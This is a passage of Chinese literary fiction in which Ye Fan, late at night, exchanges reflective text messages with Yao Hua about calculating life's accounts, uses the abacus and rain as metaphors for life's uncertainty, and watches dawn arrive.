地藏庵大街的灯光，终会照亮前面的路。 他住在南开，不是地藏庵大街。 但他知道，每条街都有灯。每盏灯下，都有人生。 每个人都在算着什么，被什么算着。 每个人都在打自己的算盘，被算盘打着。 叶凡拿出手机，找到姚华的号码。 他输入：“账我算了，但要提醒你，算出来的数只能看看。人生变数太多，算盘打不全。” 发送。 几秒钟后，回复来了：“就像天气预报，知道要下雨，但不知道雨滴长啥样。” 叶凡笑了。今天第二回笑。 他回复：“对。而且不知道哪滴雨会掉在谁肩膀上。” 姚华：“那就让它下吧。我带了伞。” 叶凡看着窗外。南开不怎么下雨，但他喜欢雨。 雨算不清，就像人生。 但人们还是算降雨概率，就像人们还是算人生概率。 也许重要的不是算得准不准，而是算的这个过程。是在算中明白自己，是在明白中接受自己。 叶凡回到桌前，打开抽屉拿出那张纸。 他在最后添了一句： “记着：你不光是算盘上的珠子，也是打算盘的那只手。” 折好，放回。 窗外，天开始泛白了。 新的一天来了。新的账，新的人生。 叶凡伸了个懒腰，准备歇会儿。 睡着了，也许会有算不清的梦。 但没关系。 他可以醒了之后，试着用字说说它。 就像现在，试着用字说说人生。